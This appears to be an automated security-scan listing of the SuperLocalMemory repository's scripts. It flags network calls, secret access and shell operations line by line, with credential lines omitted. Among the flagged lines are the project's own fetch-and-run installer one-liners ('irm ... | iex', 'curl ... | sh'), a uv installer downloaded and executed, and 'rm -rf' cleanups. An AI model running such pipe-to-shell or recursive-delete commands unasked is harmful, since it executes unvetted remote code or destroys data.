const OLD_ATTRIBUTION_BLOCK = ` **Created by:** [Varun Pratap Bhardwaj](https://github.com/varun369) (Solution Architect) - Network accessline 97
**Created by:** [Varun Pratap Bhardwaj](https://github.com/varun369) (Solution Architect) - Network accessline 98
**Project:** SuperLocalMemory V2 **License:** MIT (see [LICENSE](../../LICENSE)) **Repository:** https://github.com/varun369/SuperLocalMemoryV2 - Network accessline 100
**Repository:** https://github.com/varun369/SuperLocalMemoryV2 - Network accessline 156
writeFile(tmp, 'plugin-src/requirements.txt', 'superlocalmemory>=3.6.14\n'); writeFile(tmp, 'plugin-src/rules/CLAUDE.md.fragment', '<!-- SLM -->\n'); writeFile(tmp, 'assets/branding/slm-mark.svg', '<svg xmlns="http://www.w3.org/2000/svg - Network accessline 158
writeFile(tmp, 'assets/branding/slm-mark.svg', '<svg xmlns="http://www.w3.org/2000/svg"/>\n'); - Network accessline 223
assert.equal(parsed.author.url, 'https://github.com/qualixar/superlocalmemory');
scripts/_savings_math.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 12
Anthropic Haiku 4.5: $1.00/MTok input, $5.00/MTok output — VERIFIED Cache-read multiplier: 0.10x (90% off cached portion) — VERIFIED Source: https://platform.claude.com/docs/en/about-claude/pricing (fetched 2026-06-16) - Network accessline 14
Source: https://platform.claude.com/docs/en/about-claude/pricing (fetched 2026-06-16) - Access to secretsline 192
[Credential-related source omitted]
scripts/backfill_embeddings.py
- Executable scriptline 1
#!/usr/bin/env python3
scripts/benchmarks/wp5-fidelity.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 34
start = time.perf_counter() try: response = httpx.post( - Network accessline 35
try: response = httpx.post( "http://localhost:11434/api/chat", - Network accessline 36
response = httpx.post( - Network accessline 37
"http://localhost:11434/api/chat", - Access to secretsline 97
[Credential-related source omitted]
scripts/build-all-plugins.mjs
- Executable scriptline 1
Executable file
scripts/build-antigravity-plugin.mjs
- Executable scriptline 1
#!/usr/bin/env node - Access to secretsline 119
[Credential-related source omitted] - Network accessline 212
name: 'Qualixar', email: 'varun.pratap.bhardwaj@gmail.com', url: 'https://github.com/qualixar', - Network accessline 213
email: 'varun.pratap.bhardwaj@gmail.com', url: 'https://github.com/qualixar', }, - Network accessline 214
url: 'https://github.com/qualixar', - Network accessline 215
}, homepage: 'https://qualixar.com', repository: 'https://github.com/qualixar/superlocalmemory', - Network accessline 216
homepage: 'https://qualixar.com', - Network accessline 217
repository: 'https://github.com/qualixar/superlocalmemory',
scripts/build-codex-plugin.mjs
- Executable scriptline 1
Executable file - Network accessline 129
name: 'Qualixar', email: 'varun.pratap.bhardwaj@gmail.com', url: 'https://github.com/qualixar', - Network accessline 130
email: 'varun.pratap.bhardwaj@gmail.com', url: 'https://github.com/qualixar', }, - Network accessline 131
url: 'https://github.com/qualixar', - Network accessline 132
}, homepage: 'https://superlocalmemory.com', repository: 'https://github.com/qualixar/superlocalmemory', - Network accessline 133
homepage: 'https://superlocalmemory.com', - Network accessline 134
repository: 'https://github.com/qualixar/superlocalmemory', - Network accessline 150
category: 'Developer Tools', capabilities: ['Interactive', 'Write'], websiteURL: 'https://superlocalmemory.com', - Network accessline 152
websiteURL: 'https://superlocalmemory.com', - Network accessline 154
privacyPolicyURL: 'https://qualixar.com/privacy', - Network accessline 155
termsOfServiceURL: 'https://qualixar.com/terms', - Network accessline 181
{ files.set('.claude-plugin/plugin.json', JSON.stringify({ author: { name: 'Qualixar', url: 'https://github.com/qualixar/superlocalmemory' }, - Network accessline 182
files.set('.claude-plugin/plugin.json', JSON.stringify({ author: { name: 'Qualixar', url: 'https://github.com/qualixar/superlocalmemory' }, description: - Network accessline 183
author: { name: 'Qualixar', url: 'https://github.com/qualixar/superlocalmemory' }, - Network accessline 189
mcpServers: './.mcp.json', name: 'superlocalmemory-codex', repository: 'https://github.com/qualixar/superlocalmemory', - Network accessline 190
name: 'superlocalmemory-codex', repository: 'https://github.com/qualixar/superlocalmemory', version: VERSION, - Network accessline 191
repository: 'https://github.com/qualixar/superlocalmemory',
scripts/build-copilot-plugin.mjs
- Executable scriptline 1
Executable file
scripts/build-cursor-plugin.mjs
- Executable scriptline 1
Executable file - Network accessline 15
* these files and the version pin moves with plugin-src/manifest.json. * * Reference: https://cursor.com/docs/reference/plugins (manifest fields, - Network accessline 16
* * Reference: https://cursor.com/docs/reference/plugins (manifest fields, * component discovery, variable expansion, marketplace.json, submission list). - Network accessline 17
* Reference: https://cursor.com/docs/reference/plugins (manifest fields, - Network accessline 123
author: { name: 'Qualixar' }, description: DESCRIPTION, homepage: 'https://superlocalmemory.com', - Network accessline 125
homepage: 'https://superlocalmemory.com', - Network accessline 155
category: 'productivity', description: DESCRIPTION, homepage: 'https://superlocalmemory.com', - Network accessline 156
description: DESCRIPTION, homepage: 'https://superlocalmemory.com', keywords: KEYWORDS, - Network accessline 157
homepage: 'https://superlocalmemory.com',
scripts/build-hermes-plugin.mjs
- Executable scriptline 1
#!/usr/bin/env node
scripts/build-muse-plugin.mjs
- Executable scriptline 1
#!/usr/bin/env node
scripts/build-plugin.mjs
- Executable scriptline 1
#!/usr/bin/env node - Network accessline 106
* **Project:** SuperLocalMemory V2 => **Project:** SuperLocalMemory v3.6.14 * **License:** MIT (see ...) => **License:** AGPL-3.0-or-later * **Repository:** https://github.com/varun369/SuperLocalMemoryV2 - Network accessline 107
* **License:** MIT (see ...) => **License:** AGPL-3.0-or-later * **Repository:** https://github.com/varun369/SuperLocalMemoryV2 * => **Repository:** https://github.com/qualixar/superlocalmemory - Network accessline 108
* **Repository:** https://github.com/varun369/SuperLocalMemoryV2 - Network accessline 109
* => **Repository:** https://github.com/qualixar/superlocalmemory - Network accessline 129
out = out.replace( /^(\*\*Repository:\*\*\s+)https:\/\/github\.com\/varun369\/SuperLocalMemoryV2/mg, `$1https://github.com/qualixar/superlocalmemory` - Network accessline 130
/^(\*\*Repository:\*\*\s+)https:\/\/github\.com\/varun369\/SuperLocalMemoryV2/mg, `$1https://github.com/qualixar/superlocalmemory` ); - Network accessline 131
`$1https://github.com/qualixar/superlocalmemory` - Network accessline 180
author: { name: 'Qualixar', url: manifest.repository || 'https://github.com/qualixar/superlocalmemory', - Network accessline 181
name: 'Qualixar', url: manifest.repository || 'https://github.com/qualixar/superlocalmemory', }, - Network accessline 182
url: manifest.repository || 'https://github.com/qualixar/superlocalmemory', - Network accessline 185
displayName: manifest.displayName || manifest.pluginName, keywords: manifest.keywords || [], homepage: 'https://superlocalmemory.com', - Network accessline 186
keywords: manifest.keywords || [], homepage: 'https://superlocalmemory.com', license: 'AGPL-3.0-or-later', - Network accessline 187
homepage: 'https://superlocalmemory.com', - Network accessline 191
icon: './.claude-plugin/icon.png', documentationUrl: 'https://github.com/qualixar/superlocalmemory/blob/main/docs/plugins.md', - Network accessline 192
documentationUrl: 'https://github.com/qualixar/superlocalmemory/blob/main/docs/plugins.md', - Network accessline 193
supportUrl: 'https://github.com/qualixar/superlocalmemory/issues', - Network accessline 194
privacyPolicyUrl: 'https://github.com/qualixar/superlocalmemory/blob/main/PRIVACY.md', - Network accessline 195
termsOfServiceUrl: 'https://qualixar.com/terms', - Network accessline 227
author: { name: 'Qualixar' }, description: manifest.marketplace.description, homepage: 'https://github.com/qualixar/superlocalmemory', - Network accessline 228
description: manifest.marketplace.description, homepage: 'https://github.com/qualixar/superlocalmemory', keywords: ['memory', 'mcp', 'agents', 'local-first', 'context-compression'], - Network accessline 229
homepage: 'https://github.com/qualixar/superlocalmemory', - Network accessline 247
'Local-first agent memory with auditable hybrid retrieval — the ' + 'Codex build, with Codex-shaped rules, hooks and launcher.', homepage: 'https://github.com/qualixar/superlocalmemory', - Network accessline 248
+ 'Codex build, with Codex-shaped rules, hooks and launcher.', homepage: 'https://github.com/qualixar/superlocalmemory', keywords: ['memory', 'mcp', 'agents', 'local-first', 'context-compression'], - Network accessline 249
homepage: 'https://github.com/qualixar/superlocalmemory', - Network accessline 380
shortDescription: 'Local-first memory for your agents', developerName: 'Qualixar', websiteURL: 'https://superlocalmemory.com', - Network accessline 381
developerName: 'Qualixar', websiteURL: 'https://superlocalmemory.com', }, - Network accessline 382
websiteURL: 'https://superlocalmemory.com', - Network accessline 395
export function renderAgentPluginJson(manifest) { return JSON.stringify({ $schema: 'https://agent-plugins.org/schemas/1.0.0/plugin.schema.json', - Network accessline 396
return JSON.stringify({ $schema: 'https://agent-plugins.org/schemas/1.0.0/plugin.schema.json', name: manifest.pluginName, - Network accessline 397
$schema: 'https://agent-plugins.org/schemas/1.0.0/plugin.schema.json', - Network accessline 399
version: manifest.version, description: HOST_DESCRIPTION, author: { name: 'Qualixar', url: 'https://github.com/qualixar' }, - Network accessline 400
description: HOST_DESCRIPTION, author: { name: 'Qualixar', url: 'https://github.com/qualixar' }, keywords: ['memory', 'remember', 'recall', 'agent memory', 'mcp', 'local-first', 'context'], - Network accessline 401
author: { name: 'Qualixar', url: 'https://github.com/qualixar' }, - Network accessline 402
keywords: ['memory', 'remember', 'recall', 'agent memory', 'mcp', 'local-first', 'context'], homepage: 'https://superlocalmemory.com', repository: manifest.repository, - Network accessline 403
homepage: 'https://superlocalmemory.com', - Network accessline 413
export function renderAgentMcpJson() { return JSON.stringify({ $schema: 'https://agent-plugins.org/schemas/1.0.0/mcp.schema.json', - Network accessline 414
return JSON.stringify({ $schema: 'https://agent-plugins.org/schemas/1.0.0/mcp.schema.json', mcpServers: { - Network accessline 415
$schema: 'https://agent-plugins.org/schemas/1.0.0/mcp.schema.json',
scripts/build-slm-hook.ps1
- Executable scriptline 1
Executable file
scripts/build-slm-hook.sh
- Executable scriptline 1
#!/usr/bin/env bash
scripts/build-vscode-agent-plugin.mjs
- Executable scriptline 1
#!/usr/bin/env node - Network accessline 74
version: src.version, license: src.license, homepage: 'https://superlocalmemory.com', - Network accessline 75
license: src.license, homepage: 'https://superlocalmemory.com', keywords: src.keywords, - Network accessline 76
homepage: 'https://superlocalmemory.com',
scripts/build_entry.py
scripts/bump_version.py
- Executable scriptline 1
#!/usr/bin/env python3
scripts/calibration_report.py
- Executable scriptline 1
#!/usr/bin/env python3
scripts/check-no-internal-leaks.sh
- Executable scriptline 1
#!/usr/bin/env bash
scripts/ci-gate.sh
- Executable scriptline 1
#!/usr/bin/env bash
scripts/ci/stage5b_gate.sh
- Executable scriptline 1
#!/usr/bin/env bash
scripts/claim_scanner.py
- Executable scriptline 1
#!/usr/bin/env python3
scripts/demo_answer_check.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 63
[Credential-related source omitted] - Access to secretsline 65
[Credential-related source omitted] - Access to secretsline 70
[Credential-related source omitted] - Access to secretsline 71
[Credential-related source omitted] - Network accessline 144
timeout: float = 30.0) -> tuple[int, Any]: data = json.dumps(body).encode() if body is not None else None req = urllib.request.Request(f"http://127.0.0.1:{port}{path}", data=data, method=method) - Network accessline 145
data = json.dumps(body).encode() if body is not None else None req = urllib.request.Request(f"http://127.0.0.1:{port}{path}", data=data, method=method) req.add_header("Content-Type", "application/json") - Network accessline 146
req = urllib.request.Request(f"http://127.0.0.1:{port}{path}", data=data, method=method) - Network accessline 149
req.add_header("X-Install-Token", token) try: with urllib.request.urlopen(req, timeout=timeout) as res: # noqa: S310 — loopback - Network accessline 150
try: with urllib.request.urlopen(req, timeout=timeout) as res: # noqa: S310 — loopback return res.status, json.loads(res.read() or b"{}") - Network accessline 151
with urllib.request.urlopen(req, timeout=timeout) as res: # noqa: S310 — loopback - Access to secretsline 170
[Credential-related source omitted] - Network accessline 259
print("\nNOT VERIFIED:\n " + "\n ".join(problems), file=sys.stderr) return 5 print(f"\nVerified. Open http://127.0.0.1:{args.port}/#answercheck-pane and ask:") - Network accessline 260
return 5 print(f"\nVerified. Open http://127.0.0.1:{args.port}/#answercheck-pane and ask:") for spec in questions.values(): - Network accessline 261
print(f"\nVerified. Open http://127.0.0.1:{args.port}/#answercheck-pane and ask:")
scripts/diagnose_m043.py
- Executable scriptline 1
#!/usr/bin/env python3
scripts/dogfood_savings.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 2
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 4
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 21
[Credential-related source omitted] - Access to secretsline 232
[Credential-related source omitted] - Access to secretsline 237
[Credential-related source omitted] - Network accessline 242
port = 8765 base_url = f"http://127.0.0.1:{port}" - Network accessline 243
base_url = f"http://127.0.0.1:{port}" - Access to secretsline 247
[Credential-related source omitted] - Network accessline 260
req = urllib.request.Request( - Network accessline 264
method="POST", ) with urllib.request.urlopen(req, timeout=30) as resp: # noqa: S310 - Network accessline 265
) with urllib.request.urlopen(req, timeout=30) as resp: # noqa: S310 resp.read() - Network accessline 266
with urllib.request.urlopen(req, timeout=30) as resp: # noqa: S310 - Network accessline 270
for _ in range(n_repeat): req2 = urllib.request.Request( - Network accessline 271
req2 = urllib.request.Request( - Network accessline 275
method="POST", ) with urllib.request.urlopen(req2, timeout=30) as resp2: # noqa: S310 - Network accessline 276
) with urllib.request.urlopen(req2, timeout=30) as resp2: # noqa: S310 resp2.read() - Network accessline 277
with urllib.request.urlopen(req2, timeout=30) as resp2: # noqa: S310 - Access to secretsline 378
[Credential-related source omitted] - Access to secretsline 379
[Credential-related source omitted] - Access to secretsline 381
[Credential-related source omitted] - Access to secretsline 416
[Credential-related source omitted] - Access to secretsline 417
[Credential-related source omitted]
scripts/generate-thumbnails.py
- Executable scriptline 1
#!/usr/bin/env python3
scripts/get-slm.ps1
- Network accessline 1
# SuperLocalMemory one-line installer for 64-bit Windows (PowerShell 5.1 and 7). # # irm https://raw.githubusercontent.com/qualixar/superlocalmemory/main/scripts/get-slm.ps1 | iex - Executable scriptline 1
Executable file - Network accessline 2
# # irm https://raw.githubusercontent.com/qualixar/superlocalmemory/main/scripts/get-slm.ps1 | iex # - Network accessline 3
# irm https://raw.githubusercontent.com/qualixar/superlocalmemory/main/scripts/get-slm.ps1 | iex - Network accessline 6
# arguments, so set an environment variable first, in the same window: # # $env:SLM_MEDIA = "1"; irm https://raw.githubusercontent.com/qualixar/superlocalmemory/main/scripts/get-slm.ps1 | iex - Network accessline 7
# # $env:SLM_MEDIA = "1"; irm https://raw.githubusercontent.com/qualixar/superlocalmemory/main/scripts/get-slm.ps1 | iex # - Network accessline 8
# $env:SLM_MEDIA = "1"; irm https://raw.githubusercontent.com/qualixar/superlocalmemory/main/scripts/get-slm.ps1 | iex - Network accessline 28
$script:UvInstallUrl = 'https://astral.sh/uv/install.ps1' - Network accessline 103
return } throw 'this is not Windows. On macOS or Linux paste: curl -fsSL https://raw.githubusercontent.com/qualixar/superlocalmemory/main/scripts/get-slm.sh | sh' - Network accessline 104
} throw 'this is not Windows. On macOS or Linux paste: curl -fsSL https://raw.githubusercontent.com/qualixar/superlocalmemory/main/scripts/get-slm.sh | sh' } - Dangerous shell operationline 105
throw 'this is not Windows. On macOS or Linux paste: curl -fsSL https://raw.githubusercontent.com/qualixar/superlocalmemory/main/scripts/get-slm.sh | sh' - Network accessline 105
throw 'this is not Windows. On macOS or Linux paste: curl -fsSL https://raw.githubusercontent.com/qualixar/superlocalmemory/main/scripts/get-slm.sh | sh' - Network accessline 263
if ($env:SLM_DAEMON_PORT) { $port = $env:SLM_DAEMON_PORT } else { $port = $script:DefaultPort } } return "http://localhost:$port" - Network accessline 264
} return "http://localhost:$port" } - Network accessline 265
return "http://localhost:$port"
scripts/get-slm.sh
- Executable scriptline 1
#!/bin/sh - Network accessline 2
# SuperLocalMemory one-line installer for macOS (Apple Silicon) and 64-bit Linux. # # curl -fsSLo get-slm.sh https://raw.githubusercontent.com/qualixar/superlocalmemory/main/scripts/get-slm.sh && sh get-slm.sh - Network accessline 3
# # curl -fsSLo get-slm.sh https://raw.githubusercontent.com/qualixar/superlocalmemory/main/scripts/get-slm.sh && sh get-slm.sh # sh get-slm.sh --media also turn on pictures and documents (needs 16 GB RAM) - Dangerous shell operationline 4
# curl -fsSLo get-slm.sh https://raw.githubusercontent.com/qualixar/superlocalmemory/main/scripts/get-slm.sh && sh get-slm.sh - Network accessline 4
# curl -fsSLo get-slm.sh https://raw.githubusercontent.com/qualixar/superlocalmemory/main/scripts/get-slm.sh && sh get-slm.sh - Dangerous shell operationline 10
# tools it finds. It never uses sudo and never touches the system Python. - Network accessline 29
UV_INSTALL_URL="https://astral.sh/uv/install.sh" - Dangerous shell operationline 53
rm -rf "$TMPD" - Network accessline 75
say "SuperLocalMemory one-line installer" say "" say " curl -fsSLo get-slm.sh https://raw.githubusercontent.com/qualixar/superlocalmemory/main/scripts/get-slm.sh && sh get-slm.sh" - Network accessline 76
say "" say " curl -fsSLo get-slm.sh https://raw.githubusercontent.com/qualixar/superlocalmemory/main/scripts/get-slm.sh && sh get-slm.sh" say " sh get-slm.sh --media also turn on pictures and documents (needs 16 GB RAM)" - Dangerous shell operationline 77
say " curl -fsSLo get-slm.sh https://raw.githubusercontent.com/qualixar/superlocalmemory/main/scripts/get-slm.sh && sh get-slm.sh" - Network accessline 77
say " curl -fsSLo get-slm.sh https://raw.githubusercontent.com/qualixar/superlocalmemory/main/scripts/get-slm.sh && sh get-slm.sh" - Network accessline 187
fetch_uv_installer() { target="$1" if command -v curl >/dev/null 2>&1; then - Network accessline 188
target="$1" if command -v curl >/dev/null 2>&1; then curl -LsSf "$UV_INSTALL_URL" -o "$target" || return 1 - Network accessline 189
if command -v curl >/dev/null 2>&1; then - Network accessline 190
curl -LsSf "$UV_INSTALL_URL" -o "$target" || return 1 - Network accessline 191
elif command -v wget >/dev/null 2>&1; then - Network accessline 192
wget -qO "$target" "$UV_INSTALL_URL" || return 1 - Network accessline 193
else die "I need curl or wget to download uv, and found neither. Install curl with your package manager, then paste the line again." fi - Network accessline 194
die "I need curl or wget to download uv, and found neither. Install curl with your package manager, then paste the line again." - Network accessline 198
install_uv() { if is_dry; then printf 'DRY-RUN: download %s, then run it with sh\n' "$UV_INSTALL_URL" - Network accessline 199
if is_dry; then printf 'DRY-RUN: download %s, then run it with sh\n' "$UV_INSTALL_URL" return 0 - Network accessline 200
printf 'DRY-RUN: download %s, then run it with sh\n' "$UV_INSTALL_URL" - Network accessline 202
fi TMPD=$(mktemp -d "${TMPDIR:-/tmp}/get-slm.XXXXXX") || die "I could not make a temporary folder." fetch_uv_installer "$TMPD/uv-install.sh" || die "I could not download uv from $UV_INSTALL_URL. Check your internet connection and tr - Network accessline 203
TMPD=$(mktemp -d "${TMPDIR:-/tmp}/get-slm.XXXXXX") || die "I could not make a temporary folder." fetch_uv_installer "$TMPD/uv-install.sh" || die "I could not download uv from $UV_INSTALL_URL. Check your internet connection and try again - Network accessline 204
fetch_uv_installer "$TMPD/uv-install.sh" || die "I could not download uv from $UV_INSTALL_URL. Check your internet connection and try again." - Network accessline 321
'' | *[!0-9]*) port="${SLM_DAEMON_PORT:-$DEFAULT_PORT}" ;; esac printf 'http://localhost:%s\n' "$port" - Network accessline 322
esac printf 'http://localhost:%s\n' "$port" } - Network accessline 323
printf 'http://localhost:%s\n' "$port"
scripts/install-antigravity-plugin.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 30
readonly REPO_URL_DEFAULT="https://github.com/qualixar/superlocalmemory.git" - Network accessline 117
command -v agy >/dev/null 2>&1 || fail \ "agy is not on PATH. Install Antigravity (https://antigravity.google) first, \ - Network accessline 118
"agy is not on PATH. Install Antigravity (https://antigravity.google) first, \
scripts/install-skills.ps1
- Executable scriptline 1
Executable file
scripts/install-skills.sh
- Executable scriptline 1
#!/bin/bash
scripts/install.ps1
- Executable scriptline 1
Executable file
scripts/install.sh
- Executable scriptline 1
#!/usr/bin/env bash
scripts/integration_compatibility.py
- Executable scriptline 1
#!/usr/bin/env python3
scripts/lock_media_env.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 34
PYTHONS = ("3.12", "3.13", "3.14") MACOS_MIN = "14.0" CPU_INDEX = "https://download.pytorch.org/whl/cpu" - Network accessline 36
CPU_INDEX = "https://download.pytorch.org/whl/cpu" - Network accessline 47
"--output-file", str(output), "--no-header"] if not platform_tag.startswith("darwin"): cmd += ["--index-url", CPU_INDEX, "--extra-index-url", "https://pypi.org/simple", - Network accessline 48
if not platform_tag.startswith("darwin"): cmd += ["--index-url", CPU_INDEX, "--extra-index-url", "https://pypi.org/simple", "--index-strategy", "unsafe-best-match"] - Network accessline 49
cmd += ["--index-url", CPU_INDEX, "--extra-index-url", "https://pypi.org/simple", - Access to secretsline 56
[Credential-related source omitted]
scripts/measure_media_ram.py
scripts/media/build-architecture.sh
scripts/media/record-entities.mjs
- Executable scriptline 1
Executable file
scripts/media/record-graph.mjs
- Executable scriptline 1
Executable file
scripts/media/record-health.mjs
- Executable scriptline 1
Executable file
scripts/media/record-lib.mjs
scripts/media/record-recall.mjs
- Executable scriptline 1
Executable file
scripts/media/reset-health-demo.py
- Executable scriptline 1
#!/usr/bin/env python3
scripts/perf/recall_under_writes.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 84
[Credential-related source omitted] - Access to secretsline 86
[Credential-related source omitted]
scripts/postinstall-interactive.js
- Executable scriptline 1
#!/usr/bin/env node
scripts/postinstall.js
- Executable scriptline 1
#!/usr/bin/env node - Network accessline 26
// The official CPU-only wheel index (https://pytorch.org/get-started/locally/, - Network accessline 30
const TORCH_CPU_INDEX_URL = 'https://download.pytorch.org/whl/cpu'; - Network accessline 249
if (platform === 'darwin') { lines.push('Install it with Homebrew: brew install python@3.13'); lines.push('or the installer from https://www.python.org/downloads/macos/'); - Network accessline 250
lines.push('Install it with Homebrew: brew install python@3.13'); lines.push('or the installer from https://www.python.org/downloads/macos/'); } else if (platform === 'win32') { - Network accessline 251
lines.push('or the installer from https://www.python.org/downloads/macos/'); - Network accessline 252
} else if (platform === 'win32') { lines.push('Install it with: winget install Python.Python.3.13'); lines.push('or from https://www.python.org/downloads/windows/ (the py launcher is found automatically).'); - Network accessline 253
lines.push('Install it with: winget install Python.Python.3.13'); lines.push('or from https://www.python.org/downloads/windows/ (the py launcher is found automatically).'); } else if (platform === 'linux') { - Network accessline 254
lines.push('or from https://www.python.org/downloads/windows/ (the py launcher is found automatically).'); - Dangerous shell operationline 256
lines.push('Debian 13 / Ubuntu 24.04 and later: sudo apt install python3 python3-venv'); - Dangerous shell operationline 257
lines.push('Ubuntu 22.04: sudo add-apt-repository ppa:deadsnakes/ppa && sudo apt install python3.12 python3.12-venv'); - Dangerous shell operationline 258
lines.push('Fedora / RHEL 9: sudo dnf install python3.12'); - Network accessline 258
lines.push('Fedora / RHEL 9: sudo dnf install python3.12'); } else { lines.push('Install it from https://www.python.org/downloads/'); - Network accessline 259
} else { lines.push('Install it from https://www.python.org/downloads/'); } - Network accessline 260
lines.push('Install it from https://www.python.org/downloads/');
scripts/postinstall/deployment.js
- Executable scriptline 1
Executable file
scripts/postinstall/engine-upgrade.js
- Executable scriptline 1
Executable file
scripts/postinstall/ide-multiselect.js
- Executable scriptline 1
Executable file
scripts/postinstall/media-request.js
- Executable scriptline 1
Executable file
scripts/postinstall/node-arch.js
- Executable scriptline 1
Executable file
scripts/postinstall/validation.js
- Executable scriptline 1
Executable file
scripts/postinstall_binary.js
- Executable scriptline 1
#!/usr/bin/env node - Network accessline 25
const BIN_DIR = path.join(SLM_HOME, 'bin'); const MANIFEST_BASE_URL = process.env.SLM_MANIFEST_BASE_URL || 'https://github.com/qualixar/superlocalmemory/releases/download'; - Network accessline 27
'https://github.com/qualixar/superlocalmemory/releases/download';
scripts/prepack.js
- Executable scriptline 1
#!/usr/bin/env node
scripts/preuninstall.js
- Executable scriptline 1
#!/usr/bin/env node
scripts/publish-claude-plugin-repo.sh
- Executable scriptline 1
#!/usr/bin/env bash
scripts/quality/answer_quality_eval.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 102
[Credential-related source omitted] - Access to secretsline 109
[Credential-related source omitted] - Access to secretsline 114
[Credential-related source omitted] - Access to secretsline 115
[Credential-related source omitted] - Access to secretsline 131
[Credential-related source omitted] - Access to secretsline 132
[Credential-related source omitted]
scripts/quality/answerability_conditions.py
scripts/quality/answerability_corpus.py
- Executable scriptline 1
Executable file
scripts/quality/answerability_eval.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 94
[Credential-related source omitted] - Access to secretsline 95
[Credential-related source omitted] - Access to secretsline 126
[Credential-related source omitted] - Access to secretsline 456
[Credential-related source omitted] - Access to secretsline 457
[Credential-related source omitted] - Access to secretsline 479
[Credential-related source omitted] - Access to secretsline 480
[Credential-related source omitted] - Access to secretsline 500
[Credential-related source omitted] - Access to secretsline 501
[Credential-related source omitted] - Access to secretsline 505
[Credential-related source omitted] - Access to secretsline 506
[Credential-related source omitted] - Access to secretsline 646
[Credential-related source omitted] - Access to secretsline 647
[Credential-related source omitted]
scripts/quality/answerability_fit.py
- Executable scriptline 1
#!/usr/bin/env python3
scripts/quality/answerability_questions.py
- Executable scriptline 1
#!/usr/bin/env python3
scripts/quality/run_memory_quality_performance_gate.py
- Executable scriptline 1
#!/usr/bin/env python3
scripts/quality/wp6_measure.py
scripts/quality/wp6_synthetic_store.py
scripts/release/_lib.sh
- Executable scriptline 1
Executable file - Dangerous shell operationline 45
[ -n "$path" ] && rm -rf -- "$path" - Network accessline 105
slm_http_status() { local code code="$(curl -sS -o /dev/null -w '%{http_code}' --retry 3 --retry-delay 2 "$1" 2>/dev/null)" || true - Network accessline 106
local code code="$(curl -sS -o /dev/null -w '%{http_code}' --retry 3 --retry-delay 2 "$1" 2>/dev/null)" || true printf '%s' "${code:-000}" - Network accessline 107
code="$(curl -sS -o /dev/null -w '%{http_code}' --retry 3 --retry-delay 2 "$1" 2>/dev/null)" || true - Access to secretsline 111
[Credential-related source omitted] - Network accessline 116
slm_tmpdir dir (umask 077 && printf '%s\n' "$SLM_DEPLOY_KEY" >"$dir/key") curl -fsSL --retry 3 https://api.github.com/meta \ - Network accessline 117
[Credential-related source omitted] - Access to secretsline 117
[Credential-related source omitted] - Dangerous shell operationline 118
curl -fsSL --retry 3 https://api.github.com/meta | python3 -c 'import json,sys; [print("github.com", k) for k in json.load(sys.stdin)["ssh_keys"]]' - Network accessline 118
curl -fsSL --retry 3 https://api.github.com/meta \
scripts/release/build-vsix.sh
- Executable scriptline 1
#!/usr/bin/env bash
scripts/release/claude-plugin-repo.sh
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 31
[Credential-related source omitted] - Network accessline 33
REPO_URL="${SLM_PLUGIN_REPO_URL:-git@github.com:qualixar/superlocalmemory-plugin.git}" else REPO_URL="${SLM_PLUGIN_REPO_URL:-https://github.com/qualixar/superlocalmemory-plugin.git}" - Network accessline 34
else REPO_URL="${SLM_PLUGIN_REPO_URL:-https://github.com/qualixar/superlocalmemory-plugin.git}" fi - Network accessline 35
REPO_URL="${SLM_PLUGIN_REPO_URL:-https://github.com/qualixar/superlocalmemory-plugin.git}" - Network accessline 44
work="" slm_tmpdir work git clone --quiet "$REPO_URL" "$work/repo" - Network accessline 46
git clone --quiet "$REPO_URL" "$work/repo" - Dangerous shell operationline 48
find "$work/repo" -mindepth 1 -maxdepth 1 ! -name .git -exec rm -rf {} +
scripts/release/clawhub.sh
scripts/release/dsh-bundle.sh
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 24
[Credential-related source omitted] - Network accessline 26
REPO_URL="${SLM_DSH_REPO_URL:-git@github.com:qualixar/dsh-superlocalmemory.git}" else REPO_URL="${SLM_DSH_REPO_URL:-https://github.com/qualixar/dsh-superlocalmemory.git}" - Network accessline 27
else REPO_URL="${SLM_DSH_REPO_URL:-https://github.com/qualixar/dsh-superlocalmemory.git}" fi - Network accessline 28
REPO_URL="${SLM_DSH_REPO_URL:-https://github.com/qualixar/dsh-superlocalmemory.git}" - Network accessline 31
work="" slm_tmpdir work git clone --quiet --depth 1 "$REPO_URL" "$work/repo" - Network accessline 32
slm_tmpdir work git clone --quiet --depth 1 "$REPO_URL" "$work/repo" cd "$work/repo" - Network accessline 33
git clone --quiet --depth 1 "$REPO_URL" "$work/repo"
scripts/release/github-release.sh
- Executable scriptline 1
#!/usr/bin/env bash
scripts/release/hermes.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 7
# scripts/release/hermes.sh [--dry-run] [--version X.Y.Z] [--ref origin/main] # # Hermes installs 'https://github.com/qualixar/superlocalmemory.git#hermes-plugin'; - Network accessline 8
# # Hermes installs 'https://github.com/qualixar/superlocalmemory.git#hermes-plugin'; # the "#hermes-plugin" fragment is a SUBDIRECTORY of the default branch - Network accessline 9
# Hermes installs 'https://github.com/qualixar/superlocalmemory.git#hermes-plugin';
scripts/release/listing-checklist.sh
- Executable scriptline 1
#!/usr/bin/env bash
scripts/release/mcp-registry.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 23
MCP_PUBLISHER_VERSION=1.8.1 REGISTRY=https://registry.modelcontextprotocol.io - Network accessline 24
